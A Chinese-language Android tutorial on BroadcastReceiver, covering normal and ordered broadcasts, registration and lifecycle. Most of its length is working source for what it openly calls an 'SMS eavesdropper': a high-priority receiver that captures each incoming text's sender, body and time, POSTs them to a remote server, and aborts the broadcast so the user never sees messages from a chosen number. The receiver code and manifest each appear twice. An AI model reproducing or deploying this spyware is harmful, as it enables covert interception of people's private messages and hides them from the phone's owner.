Android深入探究筆記之二十 -- 廣播接收者,BroadcastReceiver
廣播接收者 -- BroadcastReceiver
1. 概述
廣播被分為兩種不同的型別:“普通廣播(Normal broadcasts)”和“有序廣播(Ordered broadcasts)”。
普通廣播是完全非同步的,可以在同一時刻(邏輯上)被所有接收者接收到,訊息傳遞的效率比較高,
但缺點是:接收者不能將處理結果傳遞給下一個接收者,並且無法終止廣播Intent的傳播。
然而有序廣播是按照接收者宣告的優先級別,被接收者依次接收廣播。如:A的級別高於B,B的級別高於C,那麼,廣播先傳給A,再傳給B,最後傳給C 。
優先級別宣告在 intent-filter 元素的 android:priority 屬性中,數越大優先級別越高,取值範圍:-1000到1000,優先級別也可以呼叫IntentFilter物件的setPriority()進行設定 。
有序廣播的接收者可以終止廣播Intent的傳播,廣播Intent的傳播一旦終止,後面的接收者就無法接收到廣播。
另外,有序廣播的接收者可以將資料傳遞給下一個接收者,如:A得到廣播後,可以往它的結果物件中存入資料,當廣播傳給B時,B可以從A的結果物件中得到A存入的資料。
Context.sendBroadcast()
傳送的是普通廣播,所有訂閱者都有機會獲得並進行處理。
Context.sendOrderedBroadcast()
傳送的是有序廣播,系統會根據接收者宣告的優先級別按順序逐個執行接收者,
前面的接收者有權終止廣播(BroadcastReceiver.abortBroadcast()),如果廣播被前面的接收者終止,
後面的接收者就再也無法獲取到廣播。
對於有序廣播,前面的接收者可以將資料通過setResultExtras(Bundle)方法存放進結果物件,
然後傳給下一個接收者,下一個接收者通過程式碼:Bundle bundle = getResultExtras(true))可以獲取上一個接收者存入在結果物件中的資料。
2.
廣播接收者(BroadcastReceiver)用於接收廣播 Intent,廣播 Intent 的傳送是通過呼叫 Context.sendBroadcast()、Context.sendOrderedBroadcast() 來實現的。
通常一個廣播 Intent 可以被訂閱了此 Intent 的多個廣播接收者所接收,這個特性跟 JMS 中的 Topic 訊息接收者類似。
要實現一個廣播接收者方法如下:
第一步:繼承BroadcastReceiver,並重寫onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
}
}
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第一種:使用程式碼進行訂閱
<!-- android.provider.Telephony.SMS_RECEIVED 是簡訊廣播-- >
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
3.
在Android中,每次廣播訊息到來時都會建立BroadcastReceiver例項並執行onReceive() 方法,
onReceive() 方法執行完後,BroadcastReceiver 的例項就會被銷燬。
當onReceive() 方法在10秒內沒有執行完畢,Android會認為該程式無響應。
所以在BroadcastReceiver裡不能做一些比較耗時的操作,否側會彈出ANR(Application No Response)的對話方塊。
如果需要完成一項比較耗時的工作,應該通過傳送Intent給Service,由Service來完成。
這裡不能使用子執行緒來解決,因為 BroadcastReceiver 的生命週期很短,子執行緒可能還沒有結束BroadcastReceiver就先結束了。
BroadcastReceiver一旦結束,此時BroadcastReceiver所在的程序很容易在系統需要記憶體時被優先殺死,
因為它屬於空程序(沒有任何活動元件的程序)。
如果它的宿主程序被殺死,那麼正在工作的子執行緒也會被殺死。所以採用子執行緒來解決是不可靠的。
4. 實現簡訊竊聽器
* 當簡訊到來的時候,會發出一個簡訊到來廣播。只要訂閱這個廣播。就能獲取到簡訊的所有資訊。
* 系統收到簡訊,發出的廣播屬於有序廣播。
如果想阻止使用者收到簡訊,可以通過設定優先順序,讓你們自定義的接收者先獲取到廣播,然後終止廣播,這樣使用者就接收不到簡訊了。
* 新建 Android 專案 : SMSListener
* 在 AndroidManifest.xml 新增相應許可權
<!-- 接收簡訊許可權 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 訪問internet許可權 -->
<uses-permission android:name="android.permission.INTERNET"/>
* 新建廣播接收者類:IncomingSMSReceiver
view plaincopy to clipboardprint?
/**
* 簡訊竊聽器
*/
public class IncomingSMSReceiver extends BroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if(SMS_RECEIVED.equals(action)) {
Bundle bundle = intent.getExtras();
if(bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
for(Object pdu : pdus) {
/* 要特別注意,這裡是android.telephony.SmsMessage 可不是 android.telephony.SmsManager */
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
String sender = message.getOriginatingAddress();
String conetnt = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = dateFormat.format(date);
sendSMS(sender, conetnt, time);
/* 實現黑名單功能,下面這段程式碼將 5556 傳送者的簡訊遮蔽
* 前提是,本接受者的優先權要高於 Android 內建的簡訊應用程式 */
if("5556".equals(sender)){
abortBroadcast();
}
}
}
}
}
/**
* 傳送攔截的簡訊到伺服器
*/
private void sendSMS(String sender, String conetnt, String time) {
try {
/* HTTP 協議的實體資料 */
byte[] entity = getEntity(sender, conetnt, time);
/* 傳送的目標地址 */
URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5*1000);
conn.setRequestMethod("POST");
//必須設定此屬性為 true
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
OutputStream os = conn.getOutputStream();
os.write(entity);
/* 在此方法之前 conn 的資料都是被快取起來的,並沒有真正傳送 。因此必須要呼叫這個方法一下。 */
conn.getResponseCode();
os.close();
} catch (Exception e) {
}
}
private byte[] getEntity(String sender, String conetnt, String time) throws Exception {
String params = "method=getSMS&sender="+ sender+"&content="+
URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time;
return params.getBytes();
}
}
/**
* 簡訊竊聽器
*/
public class IncomingSMSReceiver extends BroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if(SMS_RECEIVED.equals(action)) {
Bundle bundle = intent.getExtras();
if(bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
for(Object pdu : pdus) {
/* 要特別注意,這裡是android.telephony.SmsMessage 可不是 android.telephony.SmsManager */
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
String sender = message.getOriginatingAddress();
String conetnt = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = dateFormat.format(date);
sendSMS(sender, conetnt, time);
/* 實現黑名單功能,下面這段程式碼將 5556 傳送者的簡訊遮蔽
* 前提是,本接受者的優先權要高於 Android 內建的簡訊應用程式 */
if("5556".equals(sender)){
abortBroadcast();
}
}
}
}
}
/**
* 傳送攔截的簡訊到伺服器
*/
private void sendSMS(String sender, String conetnt, String time) {
try {
/* HTTP 協議的實體資料 */
byte[] entity = getEntity(sender, conetnt, time);
/* 傳送的目標地址 */
URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5*1000);
conn.setRequestMethod("POST");
//必須設定此屬性為 true
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
OutputStream os = conn.getOutputStream();
os.write(entity);
/* 在此方法之前 conn 的資料都是被快取起來的,並沒有真正傳送 。因此必須要呼叫這個方法一下。 */
conn.getResponseCode();
os.close();
} catch (Exception e) {
}
}
private byte[] getEntity(String sender, String conetnt, String time) throws Exception {
String params = "method=getSMS&sender="+ sender+"&content="+
URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time;
return params.getBytes();
}
}
AndroidManifest.xml 的程式碼清單
view plaincopy to clipboardprint?
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="wjh.android.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".IncomingSMSReceiver">
<!-- android:priority="1000" 設定了廣播接收優先權,最大為 1000 -->
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<!-- 接收簡訊許可權 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 連線網路的許可權 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="wjh.android.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".IncomingSMSReceiver">
<!-- android:priority="1000" 設定了廣播接收優先權,最大為 1000 -->
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<!-- 接收簡訊許可權 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 連線網路的許可權 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
4. 其它廣播Intent
除了簡訊到來廣播Intent,Android還有很多廣播Intent,如:開機啟動、電池電量變化、時間已經改變等廣播Intent。
** 接收電池電量變化廣播Intent ,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>
** 接收開機啟動廣播Intent,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
並且要進行許可權宣告:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>